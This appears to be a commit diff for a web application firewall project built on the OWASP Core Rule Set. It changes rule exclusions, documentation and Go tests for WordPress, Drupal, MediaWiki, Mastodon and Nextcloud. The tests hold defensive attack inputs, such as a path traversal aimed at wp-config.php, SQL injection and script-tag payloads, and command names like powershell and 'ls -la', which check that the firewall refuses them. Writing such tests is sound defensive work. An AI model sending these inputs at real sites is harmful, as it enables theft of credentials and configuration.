Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2bfdea3f66 | ||
|
|
2ac7f1ccbf |
No files matched your search
@@ -602,10 +602,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||||
WebDAV methods, searches, file names, account names, comments and
|
WebDAV methods, searches, file names, account names, comments and
|
||||||
documents do too.
|
documents do too.
|
||||||
- A password made of any printable characters gets through these forms:
|
|
||||||
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
|
|
||||||
- signing in, signing up, changing the password, and moving or deleting the
|
|
||||||
account, on Mastodon.
|
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -919,14 +919,7 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||||
which is PHP.
|
which is PHP.
|
||||||
- `pwd`, the password when signing in, for each rule that random
|
- `pwd` when signing in, for the list of system files (930120).
|
||||||
passwords set off (920270, 920540, 921200, 930100, 930110, 930120,
|
|
||||||
932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210,
|
|
||||||
941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230,
|
|
||||||
942290, 942320, 942540, 942550, 944150). An SQL injection or a path
|
|
||||||
traversal sent as the password reaches WordPress. A script injection
|
|
||||||
is still refused.
|
|
||||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||||
route under `/wp/v2/`, for the rules on system files and commands
|
route under `/wp/v2/`, for the rules on system files and commands
|
||||||
(930120, 932120, 932250, 932260).
|
(930120, 932120, 932250, 932260).
|
||||||
@@ -994,13 +987,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- The body and comment body on the node and comment forms and through
|
- The body and comment body on the node and comment forms and through
|
||||||
JSON:API, which hold HTML and any code it shows.
|
JSON:API, which hold HTML and any code it shows.
|
||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `pass`, the password when signing in, in form data or JSON, for each rule
|
|
||||||
that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). An SQL injection or a path traversal sent as the
|
|
||||||
password reaches Drupal. A script injection is still refused.
|
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
- `mail` in that same reset, for 932120 and 932260 only.
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
@@ -1080,16 +1066,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `wpTextbox1` on MediaWiki's pages;
|
- `wpTextbox1` on MediaWiki's pages;
|
||||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||||
- `source` in the JSON body of `/rest.php/`.
|
- `source` in the JSON body of `/rest.php/`.
|
||||||
- The passwords when signing in, for each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- `wpPassword` on MediaWiki's pages;
|
|
||||||
- `lgpassword` and `password` on `/api.php`.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches
|
|
||||||
MediaWiki. A script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
@@ -1216,23 +1192,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
||||||
every report the web app sent. The keys' values keep every rule.
|
every report the web app sent. The keys' values keep every rule.
|
||||||
|
|
||||||
The passwords in a body skip each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
|
||||||
under them:
|
|
||||||
- `user[password]`, `user[password_confirmation]` and
|
|
||||||
`user[current_password]`;
|
|
||||||
- `account_migration[current_password]` and
|
|
||||||
`form_redirect[current_password]`;
|
|
||||||
- `form_delete_confirmation[password]`;
|
|
||||||
- `password` on `/api/v1/accounts`, in form data or JSON.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches Mastodon. A
|
|
||||||
script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
@@ -1365,15 +1324,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
saves.
|
saves.
|
||||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||||
|
|
||||||
`password` in the body of `/login`, the password when signing in, skips each
|
|
||||||
rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). It applies only when the query has no `password`
|
|
||||||
parameter. An SQL injection or a path traversal sent as the password reaches
|
|
||||||
Nextcloud. A script injection is still refused.
|
|
||||||
|
|
||||||
Some fields hold sentences a person writes:
|
Some fields hold sentences a person writes:
|
||||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
||||||
API and on each share under it;
|
API and on each share under it;
|
||||||
@@ -1396,6 +1346,35 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
||||||
skips the four rules.
|
skips the four rules.
|
||||||
|
|
||||||
|
The Calendar and Contacts apps, and CalDAV and CardDAV clients, use these
|
||||||
|
paths:
|
||||||
|
- `/remote.php/dav/calendars/`, which holds the calendars;
|
||||||
|
- `/remote.php/dav/addressbooks/`, which holds the address books.
|
||||||
|
|
||||||
|
There:
|
||||||
|
- `MKCALENDAR`, with which a CalDAV client makes a calendar, is allowed on
|
||||||
|
the calendars' paths only.
|
||||||
|
- The XML body of an `MKCOL` names a new calendar or address book. A new
|
||||||
|
address book's body may also hold its description. The body skips the four
|
||||||
|
rules. On the address books' paths, it also skips two rules that refused a
|
||||||
|
description such as `Powershell and python3 contacts; ls -la first`
|
||||||
|
(932125, 932230).
|
||||||
|
- The XML body of an `MKCALENDAR` holds the new calendar's name and
|
||||||
|
description. It skips the four rules, and two rules that refused a
|
||||||
|
description such as `Powershell and python3 meetings; ls -la first`
|
||||||
|
(932125, 932230).
|
||||||
|
- The body of a `PUT` of an event or a contact is not read, as for any `PUT`
|
||||||
|
on the WebDAV paths. So the Core Rule Set does not check an event's title,
|
||||||
|
location or description, or a contact's names.
|
||||||
|
- The Calendar and Contacts apps name the charset twice in the
|
||||||
|
`Content-Type` of the `PUT` that changes an event or a contact. A `PUT`
|
||||||
|
typed `text/calendar` or `text/vcard` skips 920530, the rule against two
|
||||||
|
charsets.
|
||||||
|
|
||||||
|
A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
|
||||||
|
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on
|
||||||
|
those two paths.
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies to a JSON field when the query has a parameter of that name, such as
|
applies to a JSON field when the query has a parameter of that name, such as
|
||||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
`json.message`. Nextcloud's pages are matched at the site root and under
|
||||||
@@ -2084,13 +2063,17 @@ image runs it by default (see "Deployment").
|
|||||||
- `SEARCH`
|
- `SEARCH`
|
||||||
- `LOCK`
|
- `LOCK`
|
||||||
- `UNLOCK`
|
- `UNLOCK`
|
||||||
|
- `MKCALENDAR`
|
||||||
|
|
||||||
It answers any other method `405`, with no question and no report. The answer's
|
It answers any other method `405`, with no question and no report. The answer's
|
||||||
`Allow` header names these methods.
|
`Allow` header names these methods.
|
||||||
|
|
||||||
Nextcloud's Files app and sync client use the last nine, which are WebDAV
|
The last ten are WebDAV methods, for Nextcloud:
|
||||||
methods. The Core Rule Set refuses them except where an app's exclusions allow
|
|
||||||
them.
|
- its Files app and sync client use the nine from `PROPFIND` to `UNLOCK`;
|
||||||
|
- a CalDAV client makes a calendar with `MKCALENDAR`.
|
||||||
|
|
||||||
|
The Core Rule Set refuses them except where an app's exclusions allow them.
|
||||||
|
|
||||||
`rproxy` answers `400`, with no question and no report, to a request with:
|
`rproxy` answers `400`, with no question and no report, to a request with:
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,8 @@
|
|||||||
package coreruleset_test
|
package coreruleset_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"math/rand/v2"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -626,244 +624,6 @@ const passwordField = "password="
|
|||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// randomPassword returns a password of 20 characters, each one of the 95
|
|
||||||
// printable ASCII characters, space included, drawn from random.
|
|
||||||
func randomPassword(random *rand.Rand) string {
|
|
||||||
const length = 20
|
|
||||||
|
|
||||||
var printable []byte
|
|
||||||
for c := byte(' '); c <= '~'; c++ {
|
|
||||||
printable = append(printable, c)
|
|
||||||
}
|
|
||||||
|
|
||||||
password := make([]byte, length)
|
|
||||||
for i := range password {
|
|
||||||
password[i] = printable[random.IntN(len(printable))]
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(password)
|
|
||||||
}
|
|
||||||
|
|
||||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
|
||||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
|
||||||
// 2,000 do not set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var rarePasswords = []string{
|
|
||||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
|
||||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
|
||||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
|
||||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
|
||||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
|
||||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
|
||||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
|
||||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
|
||||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
|
||||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
|
||||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
|
||||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
|
||||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
|
||||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
|
||||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
|
||||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
|
||||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
|
||||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
|
||||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
|
||||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
|
||||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
|
||||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
|
||||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
|
||||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
|
||||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
|
||||||
}
|
|
||||||
|
|
||||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
|
||||||
// rarePasswords.
|
|
||||||
func randomPasswords() []string {
|
|
||||||
const count, seed = 2000, 276
|
|
||||||
|
|
||||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
|
||||||
|
|
||||||
passwords := make([]string, count, count+len(rarePasswords))
|
|
||||||
for i := range passwords {
|
|
||||||
passwords[i] = randomPassword(random)
|
|
||||||
}
|
|
||||||
|
|
||||||
return append(passwords, rarePasswords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
|
||||||
// each of passwords in the field name. Coraza checks each value of a field
|
|
||||||
// on its own, and keeps every value of a JSON key sent more than once.
|
|
||||||
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if r.headers[0] != jsonBody {
|
|
||||||
return formBody(name, passwords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
values := make([]string, len(passwords))
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
pair, err := json.Marshal(map[string]string{name: password})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
values[i] = strings.Trim(string(pair), "{}")
|
|
||||||
}
|
|
||||||
|
|
||||||
return "{" + strings.Join(values, ",") + "}"
|
|
||||||
}
|
|
||||||
|
|
||||||
// formBody returns a form data body that sends each of values in the field
|
|
||||||
// name.
|
|
||||||
func formBody(name string, values ...string) string {
|
|
||||||
fields := make([]string, len(values))
|
|
||||||
for i, value := range values {
|
|
||||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(fields, "&")
|
|
||||||
}
|
|
||||||
|
|
||||||
// setsOffARule reports whether body, form data sent to / as a browser
|
|
||||||
// sends it, sets off a rule in crs.
|
|
||||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
|
||||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
|
||||||
"http://git.example/", strings.NewReader(body))
|
|
||||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
||||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
||||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
||||||
"Gecko/20100101 Firefox/131.0")
|
|
||||||
req.Header.Set("Accept", "text/html")
|
|
||||||
|
|
||||||
// The body is read from memory, which cannot fail.
|
|
||||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
||||||
|
|
||||||
return len(result.RuleIDs) > 0
|
|
||||||
}
|
|
||||||
|
|
||||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
|
||||||
// rule in the form data field password on /, which no exclusion names, while
|
|
||||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
|
||||||
// ten passwords, and a body that sets off a rule is sent again one password
|
|
||||||
// at a time.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // the tests share it
|
|
||||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|
||||||
const workers, perBody = 16, 10
|
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
})()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
passwords := randomPasswords()
|
|
||||||
misfires := make([]bool, len(passwords))
|
|
||||||
|
|
||||||
var inspecting sync.WaitGroup
|
|
||||||
|
|
||||||
for worker := range workers {
|
|
||||||
inspecting.Go(func() {
|
|
||||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
|
||||||
last := min(first+perBody, len(passwords))
|
|
||||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
for i := first; i < last; i++ {
|
|
||||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
inspecting.Wait()
|
|
||||||
|
|
||||||
var misfiring []string
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
if misfires[i] {
|
|
||||||
misfiring = append(misfiring, password)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring, nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
|
||||||
// a field no exclusion names. The rules that misfire on a password read its
|
|
||||||
// value, not the name of its field. So the other random passwords set off no
|
|
||||||
// rule in any field.
|
|
||||||
func misfiringPasswords(t *testing.T) []string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
misfiring, err := findMisfiringPasswords()
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, rare := range rarePasswords {
|
|
||||||
if !slices.Contains(misfiring, rare) {
|
|
||||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return misfiring
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
|
||||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
|
||||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
|
||||||
// a rule in some field, so only they are sent, all in one body. If it is
|
|
||||||
// refused, each is sent again on its own, to name those refused.
|
|
||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
misfiring := misfiringPasswords(t)
|
|
||||||
|
|
||||||
body := passwordBody(t, r, name, misfiring...)
|
|
||||||
if len(body) > bodyLimit {
|
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, password := range misfiring {
|
|
||||||
body := passwordBody(t, r, name, password)
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
|
||||||
password, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantPasswordAttacksRefused checks that each of attacks, sent as the whole
|
|
||||||
// password in the field name of r's body, is refused while bodies are read.
|
|
||||||
func wantPasswordAttacksRefused(
|
|
||||||
t *testing.T, r request, name string, attacks ...string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
for _, attack := range attacks {
|
|
||||||
body := passwordBody(t, r, name, attack)
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
|
|
||||||
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
|
|
||||||
attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused, at the defaults and
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// while bodies are read. A request with neither a body nor a Content-Type
|
// while bodies are read. A request with neither a body nor a Content-Type
|
||||||
@@ -1081,28 +841,10 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
|||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
|
||||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
|
||||||
|
|
||||||
crsSets := []*coreruleset.CoreRuleSet{defaults}
|
|
||||||
if recorded.Body != "" {
|
|
||||||
crsSets = append(crsSets, bodies)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, crs := range crsSets {
|
|
||||||
got, _ := inspectBody(t, crs, r, recorded.Body)
|
|
||||||
if got.Score >= threshold {
|
|
||||||
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
sqlInjection,
|
sqlInjection,
|
||||||
"..%2F..%2Fwp-config.php",
|
"..%2F..%2Fwp-config.php",
|
||||||
@@ -1588,17 +1330,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
|||||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWordPressPasswordsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
|
||||||
|
|
||||||
// No rule pwd keeps catches the SQL injection or the path traversal.
|
|
||||||
wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -184,46 +184,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
# The password, pass, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
|
||||||
"id:900819,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
|
|||||||
@@ -109,6 +109,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
